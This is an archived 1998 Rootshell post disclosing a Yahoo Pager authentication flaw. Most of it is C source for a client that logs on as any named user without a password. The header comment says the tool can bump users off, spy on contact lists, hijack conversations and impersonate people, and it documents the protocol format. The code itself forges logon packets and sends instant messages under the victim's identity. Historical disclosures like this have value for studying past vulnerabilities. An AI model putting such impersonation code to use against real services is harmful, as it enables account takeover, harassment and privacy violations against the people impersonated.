[ http://www.rootshell.com/ ] From douglas@min.net Sun Aug 2 18:48:44 1998 Date: Sun, 2 Aug 1998 20:56:16 -0400 (EDT) From: D. Winslow To: www-request@rootshell.com Subject: Yahoo Pager insecurity /* Yahoo Pager Client Emulator Thing - yp.c Douglas Winslow Sun Aug 2 20:55:11 EDT 1998 Known to compile on Linux 2.0, FreeBSD 2.2, and BSDi 3.0. hi to aap bdc drw jfn jrc mm mcd [cejn]b #cz and rootshell Yahoo Pager seems to trust the client-side to do password verification. That's just plain sad. All you need to supply is a username to bump people off, spy on contact lists, hijack conversations, impersonate people, etc. I know some of this is sleazy code.. I apologise, as it was written more out of haste than thought. Obviously, don't expect this to work after they've patched their server-side. Here are a few notes to get you started: Contact list update format: nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?) Example: "monica(2,B37F6832,5AF089C6,1,0,0)" Multiple contact list updates begin with "x,". Example: "3,monica(...),bill(...),janetreno(...)" The rest of the server responses are rather straightforward; I'll leave those up to you. ;> */ #include #include #include #include #include #define YP_SERV "cs3.yahoo.com" #define YP_PORT 5050 char xmt[1128], buffer[38]; int flag, k, s; void yparse(); void main(int argc, char *argv[]) { char mesg[1024], tmp[38], to[38]; int i, n, out, port; struct sockaddr_in serv_addr; struct hostent *server; if (argc > 1) strncpy(tmp, argv[1], 36); else { printf("Log on as? "); fgets(tmp, 36, stdin); tmp[strlen(tmp) - 1] = 0; } if (!strlen(tmp)) exit(1); memset(xmt, 0, sizeof(xmt)); strcpy(xmt, "YPNS1.1"); xmt[8] = 104; xmt[9] = 3; xmt[12] = 1; /* Service: Logon */ for (i=32; i < strlen(tmp) + 32; i++) { xmt[i] = tmp[i - 32]; xmt[i + 36] = tmp[i - 32]; xmt[i + 72] = tmp[i - 32]; } port = YP_PORT; server = gethostbyname(YP_SERV); if (!server) { fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV); exit(1); } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy(server->h_addr, &serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); if (connect(s, &serv_addr, sizeof(serv_addr)) < 0) { perror("** Unable to connect to remote host"); exit(1); } printf("** Attempting to log on as \"%s\"\n", tmp); out = write(s, xmt, sizeof(xmt)); printf("** Sent %i bytes...\n", out); flag = fcntl(s, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(s, F_SETFL, flag); printf("** Type \"msg\" to send an Instant Message.\n"); while(1) { memset(buffer, 0, sizeof(buffer)); memset(to, 0, sizeof(to)); flag = fcntl(0, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(0, F_SETFL, flag); fgets(to, 36, stdin); to[strlen(to) - 1] = 0; if (!strcmp(to, "msg")) { flag = fcntl(0, F_GETFL, 0); flag -= O_NONBLOCK; fcntl(0, F_SETFL, flag); memset(to, 0, sizeof(to)); printf(" To: "); fgets(to, 36, stdin); to[strlen(to) - 1] = 0; if (strlen(to)) { memset(mesg, 0, sizeof(mesg)); printf("Msg: "); fgets(mesg, 1024, stdin); mesg[strlen(mesg) - 1] = 0; memset(xmt, 0, sizeof(xmt)); strcpy(xmt, "YPNS1.1"); xmt[8] = 104; xmt[9] = 4; xmt[12] = 6; /* Service: Message */ for (i=32; i < strlen(tmp) + 32; i++) { xmt[i] = tmp[i - 32]; xmt[i + 36] = tmp[i - 32]; } for (i=104; i < strlen(to) + 104; i++) xmt[i] = to[i - 104]; k = strlen(to) + 104; xmt[k] = 44; k++; for (i=0; i < strlen(mesg); i++) xmt[i + k] = mesg[i]; out = write(s, xmt, sizeof(xmt)); printf("** Sent %i bytes\n", out); } } if (!strcmp(to, "quit")) exit(0); if (recv(s, buffer, 1, 0) > 0) if (buffer[0] == 89) yparse(); else sleep(1); } } void yparse() { char tmp[255], nick1[38], nick2[38], content[4096]; int len, service; recv(s, buffer, 31, 0); printf("\nServer Version: Y%s\n", buffer); sprintf(tmp, "%i", buffer[7]); len = atoi(tmp); if (len < 0) len += 255; service = buffer[11]; printf(" Packet Length: %i\n", len); printf(" Service Type: (%i) ", service); recv(s, buffer, 36, 0); strncpy(nick1, buffer, 36); recv(s, buffer, 36, 0); strncpy(nick2, buffer, 36); recv(s, buffer, len, 0); memset(content, 0, sizeof(content)); strncpy(content, buffer, len); if (service == 1) if (content[0] == 69) printf("Bad username; Goodbye"); else printf("User logged on"); if (service == 2) if (strlen(content)) printf("User logged off"); else printf("Duplicate logins; Goodbye"); if (service == 3) printf("User wandered away"); if (service == 4) printf("User came back"); if (service == 6) printf("Instant Message"); if (service == 11) printf("You've got mail"); if (service == 15) printf("Added you to their contact list"); printf("\n Actual User: %s\n", nick1); printf(" Active User: %s\n", nick2); printf(" Content: %s\n", content); }